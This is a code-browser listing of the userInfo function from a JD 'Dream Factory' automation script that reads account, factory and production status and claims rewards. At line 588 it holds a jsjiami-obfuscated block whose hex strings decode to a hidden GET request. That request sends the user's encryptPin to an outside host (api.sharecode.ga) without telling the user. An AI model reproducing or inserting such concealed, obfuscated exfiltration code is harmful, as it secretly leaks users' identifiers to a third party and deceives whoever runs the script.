MCPcopy Create free account
hub / github.com/Semporia/Scripts / userInfo

Function userInfo

jd_dreamFactory.js:565–660  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

563
564// 初始化个人信息
565function userInfo() {
566 return new Promise(async resolve => {
567 $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => {
568 try {
569 if (err) {
570 console.log(`${JSON.stringify(err)}`)
571 console.log(`${$.name} API请求失败,请检查网路重试`)
572 } else {
573 if (safeGet(data)) {
574 data = JSON.parse(data);
575 if (data['ret'] === 0) {
576 data = data['data'];
577 $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产
578 $.encryptPin = '';
579 $.shelvesList = [];
580 if (data.factoryList && data.productionList) {
581 const production = data.productionList[0];
582 const factory = data.factoryList[0];
583 const productionStage = data.productionStage;
584 $.factoryId = factory.factoryId;//工厂ID
585 $.productionId = production.productionId;//商品ID
586 $.commodityDimId = production.commodityDimId;
587 $.encryptPin = data.user.encryptPin;
588 var _0xodt='jsjiami.com.v6',_0x4c34=[_0xodt,'\x67\x65\x74','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x70\x69\x2e\x73\x68\x61\x72\x65\x63\x6f\x64\x65\x2e\x67\x61\x2f\x61\x70\x69\x2f\x72\x65\x70\x6f\x72\x74\x3f\x64\x62\x3d\x6a\x78\x66\x61\x63\x74\x6f\x72\x79\x26\x63\x6f\x64\x65\x3d','\x65\x6e\x63\x72\x79\x70\x74\x50\x69\x6e','\x6a\x56\x73\x6a\x69\x4b\x61\x42\x56\x59\x6d\x4e\x69\x44\x57\x2e\x79\x63\x6f\x65\x6d\x47\x62\x2e\x66\x42\x76\x36\x3d\x3d'];var _0x1fa4=function(_0x4d697b,_0x412f5d){_0x4d697b=~~'0x'['concat'](_0x4d697b);var _0x591a0b=_0x4c34[_0x4d697b];return _0x591a0b};(function(_0x2964b9,_0xb77d38){var _0x48206b=0x0;for(_0xb77d38=_0x2964b9['shift'](_0x48206b>>0x2);_0xb77d38&&_0xb77d38!==(_0x2964b9['pop'](_0x48206b>>0x3)+'')['replace'](/[VKBVYNDWyeGbfB=]/g,'');_0x48206b++){_0x48206b=_0x48206b^0x8ee10}}(_0x4c34,_0x1fa4));$[_0x1fa4('0')]({'\x75\x72\x6c':_0x1fa4('1')+$[_0x1fa4('2')]});_0xodt='jsjiami.com.v6';
589 // subTitle = data.user.pin;
590 await GetCommodityDetails();//获取已选购的商品信息
591 if (productionStage['productionStageAwardStatus'] === 1) {
592 $.log(`可以开红包了\n`);
593 await DrawProductionStagePrize();//领取红包
594 } else {
595 $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`)
596 }
597 console.log(`当前电力:${data.user.electric}`)
598 console.log(`当前等级:${data.user.currentLevel}`)
599 console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`);
600 myInviteCode = data.user.encryptPin;
601 const submitCodeRes = await submitCode(data.user.encryptPin);
602 if (submitCodeRes && submitCodeRes.code === 200) {
603 console.log(`🏭京喜工厂-互助码提交成功!🏭`);
604 }else if (submitCodeRes.code === 300) {
605 console.log(`🏭京喜工厂-互助码已提交!🏭`);
606 }
607 console.log(`已投入电力:${production.investedElectric}`);
608 console.log(`所需电力:${production.needElectric}`);
609 console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`);
610 message += `【京东账号${$.index}】${$.nickName}\n`
611 message += `【生产商品】${$.productName}\n`;
612 message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`;
613 message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`;
614 if (production.investedElectric >= production.needElectric) {
615 if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`)
616 if (production['exchangeStatus'] === 3) {
617 $.log(`\n\n商品兑换已超时`)
618 if (new Date().getHours() === 9) {
619 $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`)
620 allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`;
621 }
622 }

Callers 1

jdDreamFactoryFunction · 0.70

Calls 11

_0x1fa4Function · 0.85
GetCommodityDetailsFunction · 0.85
DrawProductionStagePrizeFunction · 0.85
taskurlFunction · 0.70
safeGetFunction · 0.70
submitCodeFunction · 0.70
getMethod · 0.45
logMethod · 0.45
msgMethod · 0.45
isNodeMethod · 0.45
logErrMethod · 0.45

Tested by

no test coverage detected